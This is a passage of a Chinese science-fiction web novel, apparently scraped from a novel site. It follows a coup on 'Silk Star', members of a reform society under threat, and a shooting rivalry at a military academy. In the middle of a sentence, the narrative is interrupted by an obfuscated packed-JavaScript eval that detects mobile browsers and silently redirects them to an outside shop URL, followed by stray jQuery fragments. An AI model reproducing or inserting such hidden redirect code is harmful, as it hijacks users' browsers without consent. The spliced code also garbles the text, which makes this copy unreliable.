晏酬出了教室,惴惴不安地跟着军官走,一路上在脑子里胡思乱想道这是出了什么事要把她在课上叫走,难道,是丝绸星?……
晏酬一时之间想不出什么别的原因。她跟着军官到了主楼,一直上到了五楼,被领到那间她不常造访的办公室门前,军官抬手敲了敲门。
“少将,她来了。”
晏酬进了办公室,见金珀的办公桌上摆放着一摞又一摞堆成了小山却不失整齐的文件,再看那人眉头紧锁,没有之前见她时的那般和颜悦色,一时间紧张之情更甚。
“长岁来了,请坐。”
晏酬注意到他的声音中似乎透着一丝烦躁,她坐下后,金珀便开门见山、不卖任何关子地对她说道:“有件事得告诉你,贵星朝廷发生了政变,慕容镜然已然被杀。”
“啊?”晏酬一上来就听到了这么个消息,面上却没有任由震惊的情绪横流,她迅速整理了一下思绪,再开口时声音已经很稳地问道,“难道,是慕容墨然?”
“正是。”
“那……我们的烈流社员……”晏酬在说到自家的社员时声音才不由自主地有些颤抖,易优等人还在议会里呢,就在朝廷的眼皮子底下。这件大事,难说不会对他们产生冲击。
“他们暂时没有被波及。”金珀言简意赅地说,“但,这样一来,丝绸星政局定然会发生巨变。我会提醒他们小心行事。”
“少将,慕容墨然是背靠乌尔星上位的么?”
金珀冷冷地吐出一字:“是。”
话问到这里,目前已有的信息已经足够晏酬推断出个大概来了。
慕容镜然的上位也离不开外星势力的支持。他表面上受乌尔星人的支持,实则背地里也和扬塔星有联系。但可想而知,当乌尔星人看到扬塔星人在被他们视为殖民地的丝绸星朝廷中的影响力越来越大后,应该不会特别高兴。
否则,估计慕容墨然也找不到这个机会发动政变。
慕容镜然不愿为了乌尔星完全切断与扬塔星的联系。不论是制衡也好、左右逢源也罢,他要保证自己的背后有不止一股外星势力,这是烈流社员们早就已经看破并在之后得到过多次验证的事实。
而慕容墨然……听金珀这语气,这位上位后怕是有很大可能会全心全意地与乌尔星人合作,跟扬塔星对着干。
*
朱秀刚收到一封来自云锦区的电报,解读完其中内容后,沉吟良久。
近来云锦区风云突变,慕容镜然崩逝,其次兄慕容墨然即位。身处议会之中的易优审时度势,向扬塔星提出,不如就趁此时机进行武力革命,一举推翻丝绸星上的君主制。
他的提议遭到了扬塔星方面的反对。
金珀要求他们静观其变,切不可露出半分破绽。在明面上,烈流社就是烈流社,一个普普通通由青年知识分子组建起来的温和改革社团,不是什么推崇武力革命的政党。
金珀的建议是有道理的。在慕容王朝统治的背景下,如果他们在这种地方露了破绽,后果可想而知。
不管易优服气与否,至少在表面上,他听取了金珀的意见。仍旧是以一个进步青年知识分子代表的身份出现在议会上,兢兢业业地做着有利于民生的工作。
“文扬姐,云锦区如何?”一旁负责对外联络工作的社友担忧地问朱秀道。
“我们的社友还在静观其变。”当前的局势于烈流社员来说不甚乐观,新皇慕容墨然在改革方面并不如其弟慕容镜然开明,甚至还有攀附乌尔星、敌视扬塔星的苗头。朱秀不能不担忧易优等社友在云锦区的处境。
她叹了口气,说:“长岁和志彬他们现在应该也已经知道这个消息了,只是我们的那些社友远在扬塔星,一时之间也帮不上这边的什么忙。”
社友神情一肃,说:“文扬姐,哪有什么大业是从头到尾都能一帆风顺进行的呢?我看,我们都先不要丧气。只要德天兄他们先稳住、熬过这段敏感时期,我们在云锦区的势力一时半会儿应该不会受到什么巨大冲击。在这种时候,我们都不能太心急,扬塔星的朋友们不是告诫我们不要轻举妄动吗?他们的革命既然成功了,我想,我们应该听取他们的建议。”
朱秀看着她,心情变好了一点。连日的高强度工作纵然是铁打的女人也有点吃不消了,所幸她身边还有社友给她鼓劲儿。
“是啊,”她喃喃道,“唯愿普罗杜克托星系之神庇佑……让我们能顺利渡过难关。”
*
云锦区,步军统领衙门。
“大人,这是最新截获的密电。只破译出了部分内容……”
新上任的步军统领接过信封,拆开匆匆扫视过几个关键词后,一掌击在了太师椅扶手上。
“皇上早就怀疑烈流社员暗中勾结外星势力……此次若事成,也可为皇上除去一个隐患了。”而他,也能坐稳这个位子了。步军统领这样想着,表情渐渐变得严肃起来,“此事万不可走漏半点风声!一定要在他们察觉到异常之前,将他们一网打尽……”
*
何跃正独自一人待在云锦区的一座四合院中,面前桌上放着几份密电,有来自扬塔星的,也有来自花绸区的。最上面的则是再寻常不过的报纸。
他租下的这座四合院很僻静,这会儿尤其如此。
何跃迅速浏览过最近花绸区和扬塔星那边社友的消息,看完后稍稍松了一口气,这些天来头一次觉得压力小了一些。
最近慕容王朝权力更迭,云锦区政治/局势紧张,所幸花绸区没有受到严重波及,那边的社友压力还不算特别大。至于扬塔星就更不用说了,长岁等人处在革命会的严密保护下,也不会有什么大事。
何跃本人其实也还好,只是他不能不担忧德天。易优现在是个站在悬崖边上的角色,自他“趁乱搞革命”的提议被扬塔星方面否决后,这位仁兄也没有像前两年那般会急躁赌气,尽管心中无奈,还是想着先熬过这段敏感时期才好。
新皇慕容墨然即位,对于一部分进步人士来说,这并不是一件值得庆祝的事情。慕容墨然在慕容珂和李皇后的三个孩子中一向是最默默无闻的,之前他的锋芒基本上都被常年做皇太子兄长和天资聪颖的小弟压了过去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716852|207061||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,然而今朝坐上了龙椅,却没有像他的弟弟那般推行以宽容为主的仁政,反而有意打压进步群体。对此,易优等人只能庆幸他们自进入议会以来一直谨言慎行,全然一副“温和派”的作风,火大概不至于会烧到他们身上吧——除非慕容墨然打算清除丝绸星上的一切进步人士。
“咚咚咚。”
细微的敲门声透过层层门板与窗棂传入何跃耳中,他瞬间警觉,用最快的速度将桌上的所有密电藏入床下的一处暗格中,只留几份普通的报纸在桌上。
“咚咚咚。”
何跃竖起耳朵倾听敲门声,隐隐觉得有些不对劲。
敲门声短促、生硬、急迫,不像是寻常访客,更不是他与社友们约定过的特定敲门暗号。
不太对劲。
何跃小心翼翼地走到院子中,尽量不发出一丝声响。院子中一处不显眼的角落里摆放着一架梯子,他瞄了一眼紧闭的院门,开始像猫一样轻手轻脚地往上爬。
“砰!”
“砰!”
撞门声传来,何跃浑身一僵,借着巨大的声响加快了爬梯的速度。
“砰”的一声,院门被撞开了。
*
晏酬没有午休的习惯,甚至到了中午的精神头儿比上午还要足。她自来到军校后,在军事化管理的环境中练就了快速的吃饭习惯,解决完午饭后,便来到靶场练枪。
“砰砰砰砰砰!”
五发子弹射出,报靶兵叫道:“全部十环!”
晏酬一听,打得更起劲了。
她正射靶射得不亦乐乎,忽听一旁幽幽地传来一声:“大中午的不休息,跑到这儿来浪费子弹。”
晏酬闻声转头,只见符凌身边跟着几个扬塔星同学,正抱着臂看她,唇边浮着一抹似有似无的冷笑,想来应该是刚吃完饭。
晏酬挑眉:“你管我呢?”
她转回头来,又是一阵枪响过后——
“九发十环,一发九环!”
“啊……”晏酬对这个足以让很多人崇拜的成绩感到有些失望。
符凌没有离开,就这样一直站在一旁似笑非笑地盯着她射靶,听到报数后嗤笑一声,站到了旁边与她并排的位置。
“砰砰砰砰砰砰砰砰砰砰!”
“十发全部十环!”
符凌放下枪,颇为得意地瞥了晏酬一眼。
晏酬冷哼一声,双手举起枪来又是数发子弹射出——
“全部十环!”
“这么厉害!”
“她们两个也太强了。”
晏酬转头去看符凌,只见后者脸上的表情有些许玩味,那玩味中夹杂着几丝令人无法忽视的欣赏之情。
在军校中,晏酬与符凌的关系一直很微妙。一年以来两人好好说话的次数屈指可数,可每天却似乎谁也放不下谁,都在暗暗地留意着彼此,或许是在暗中较劲吧。
正在此时,他们看到有位军官匆匆朝这边走来,于是学员们都立刻站直了。
“晏学员,请跟我来一下。”军官走近了,言简意赅地对晏酬说道。